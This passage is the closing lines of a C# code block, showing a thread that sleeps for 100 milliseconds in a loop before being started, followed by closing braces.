                                }
                            }
                            Thread.Sleep(100);
                        }
                    }).Start();
                }
            }
        }